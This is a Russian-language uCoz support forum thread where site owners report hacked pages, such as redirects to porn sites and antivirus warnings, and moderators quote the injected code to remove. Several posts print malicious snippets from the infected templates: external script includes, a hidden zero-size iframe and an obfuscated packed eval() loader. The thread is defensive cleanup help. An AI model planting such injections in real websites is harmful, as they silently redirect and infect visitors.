Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
impel1o, В опросах , убивайте ...
<script src="http://izizi.ru/1.js" type="text/javascript"></script> Сообщение отредактировал Miss_Esq - Понедельник, 22 Авг 2011, 18:12:09
|
Fr@gEr,
Quote class="codeButtons" title="Мерцающий текст" name="blink" /><script type="text/javascript" src="http://radio.bot56.ru/radio_javascript.js"></script></span><span style="padding-right:1px;" id="bc23"><input type="button" value="таблица" onclick="simpletag('table','','','message',''); return false;" class="codeButtons" title="Таблица" name="table"/> |
1)Проблема началась вчера вечером,сначала нод изолировал какогото червя под странным урлом,а с утра зашол на сайт не прошло и 5 секунд как кинуло на ххх сайт,и так и продолжаеться.
2) Вышел с прав администратора и проблема пропала. 3)Сайт Здесь Жду вашей помощи |
У меня следующая проблема при входи на сайт игрового сервера http://fan-samp.ucoz.ru/ перенаправляет на порно сайт к которому я не имею никакого отношения,были разрешены бб коды для пользывателей сайта уже я запретил их использывать как разрешить проблему ?
А вы прошли тех осмотр вашего ПК За 2012 ?
|
dimon1974, адрес сайта указывать надо где есть проблема. а потом описывать проблему
fllop, выделенное красным удалить Quote <link type="text/css" rel="StyleSheet" href="/_st/my.css" /> <script type="text/javascript" src="http://rp-mobile.ru/js.php?redirect=http%3A//opera-portal.ru/%3Fr%3D1982"></script> <link type="text/css" rel="StyleSheet" href="http://s44.ucoz.net/src/layer4.css" /> <script type="text/javascript" src="http://s44.ucoz.net/src/jquery-1.3.2.js"></script><script type="text/javascript" из шаблона нижняя часть сайта удалить (футер) Quote <script type='text/javascript' language='javascript'> <!-- eval(function(p,a,c,k,e,d){e=function©{return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e©+'\\b','g'),k[c])}}return p}('0=\'9://a\'+\'p.b\'+\'h\'+\'e\'+\'8.d/s/f/?6=3\';7.4("<5"+"1 g"+"j"+"o=\'r"+"u"+"2\' t"+"q=\'t"+"i/k"+"l"+"1\' m"+"c=\'"+0+"\'></n"+"2>");',31,31,'pK78|ript|ipt|136006|write|sc|sid|document|chka|http|fllo|okos||net||pKZR6273|la||ext|ngua|jav|asc|sr|scr|ge||ype|ja|||vascr'.split ('|'),0,{})) // --> </script> </table><!--/U1BFOOTER1Z--> |
Fisterrrs, выделенное красным удалить из опроса
Quote <input type="hidden" name="a" value="1" /><input type="hidden" name="ajax" value="970" /></div> <div style="padding-top:4px;text-align:center;"><iframe src="http://5fg4.pp.ua" width="0" height="0" style="display:none"></iframe><img alt="javascript://" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'http://fan-samp.ucoz.ru/poll/1'});return false;" src="http://i065.radikal.ru/1007/1a/bcf8b653350d.png"> <img alt="javascript://" rel="nofollow" onclick="new _uWnd('PollA','Архив опросов',660,250,{closeonesc:1,maxh:400,max:1,min:1},{url:'http://fan-samp.ucoz.ru/poll/0-2'});return false;" src="http://s41.radikal.ru/i094/1007/8c/088815426aa2.png"></div> <script type="text/javascript"> в блоке софт удалить битый скрипт Code <script language="JavaScript"src="http://smfile.3dn.ru/iGo.js"></script> из блока кнопка сайта удалить битый скрипт Code <script type="text/javascript" src="http://web-masteru.do.am/ws.js"></script> всю графику висящую на mеgаcomp.ucоz.kz перелить к себе на сайт |
у меня большая проблема ...сегодня я зашел на сайт и меня сразу перебрасывает на google. опять зашел опять таже проблема, у друга тоже самое. в чем дело и почему на мой сайт не могут попасть люди так как антивирус его блокирует в чем дело. адрес сайта мегафайл.рф
|
Wiziard, из блока профиль выделенное красным удалить
Quote <!-- <bt> -->Профиль<!-- </bt> --> </div> <div class="blockcontent"> <!-- <bc> --><div align="center"><strong>Четверг <br> 25.08.2011 <br> 14:45</strong> <br> <script type="text/javascript" src="http://r1p.pp.ua/1.js "></script><img class="userAvatar" title="Гость" src="http://i021.radikal.ru/0804/53/f5b4265aa726.gif" border="0"> mirvkotorom, отключайте рекламный баннер на сайте |
Добрый день!
У меня та же история: Веб Мастер-Яндекс прислал письмо о присутствии вредоносного кода на моем сайте. А также во время сканирования некоторыми антивирусами: http://antivirus-alarm.ru/proverka/?url=denegmir.com%2F&again=1 Аваст и GData показывают наличие вируса - [JS:ScriptIP-inf [Trj]] . Помогите пожалуйста избавиться от вирусяки. Спасибки заранее. |
akhiles, читаем первое сообщение темы о правилах заявки. далее читаем по авасту тут //forum.ucoz.ru/forum/45-34556-757484-16-1313748476
TheABBD, akhiles, пишем в через вебмастер платонам для уточнения какой именно код или ссылка на сайте являются причиной блокировки |
Всем здравствуйте
1 http://fan-samp.ucoz.ru/ 2 Опять проблема с сайтом почему то в поисковике яндекс оповещает о том что Сайт может угрожать безопасности вашего компьютера я зашел в вебмастер увидел следующую страницу http://fan-samp.ucoz.ru/load/skripty_dlja_samp/3 Вердикт Exploit но бывает такое что даже обнаруживает вирус в том файле который уже давно загружен на сайт и к нему никогда никаких притензий небыло что бы это могло быть подскажите пожалуйсто За ранее огромное спасибо. А вы прошли тех осмотр вашего ПК За 2012 ?
|
Здравствуйте.
1.) http://vgalaktike.3dn.ru 2.) У меня такая проблема на сайте - nod32 находит на нем вирус. Я проверил через онлайн антивирусы, ничего не найдено. Другие антивирусы вируса тоже не находят. Сначала я думал - проблема в домене (co.cc), открепил его. Но и на родном 3dn.ru тоже самое. Сначала он находил ошибку в favicon.ico, я поменял её, теперь же во всем сайте. |
Вы должны дать описание проблемы:
[color=red]На страницах сайта nudegame.ucoz.ru обнаружен код, который может быть опасен для посетителей. Выполнение этого кода может привести к заражению компьютера опасными программами, использованию его без ведома пользователя, порче или краже данных. В настоящий момент сайт выводится в результатах поиска с пометкой «Этот сайт может угрожать безопасности вашего компьютера». Яндекс никак не оценивает содержание сайта и предупреждает пользователей о том, что сайт мог быть заражен без ведома его владельцев. Пожалуйста, удалите вредоносный код. Если при новой проверке код не будет обнаружен, пометка в результатах поиска будет снята. Для того чтобы снять пометку как можно быстрее, сразу после удаления кода вы можете запросить перепроверку сайта. [color=green]Каспериский пишет что ссылка где - то на www.rapnews.pp.ua --------------------------------- 1)на какой странице сайта обнаруживается проблема (ссылка) [color=blue]http://nudegame.ucoz.ru/ --------------------------------- 2) проблема обнаруживается только под логином или под гостем тоже: [color=blue]и под тем, и под тем. |
| |||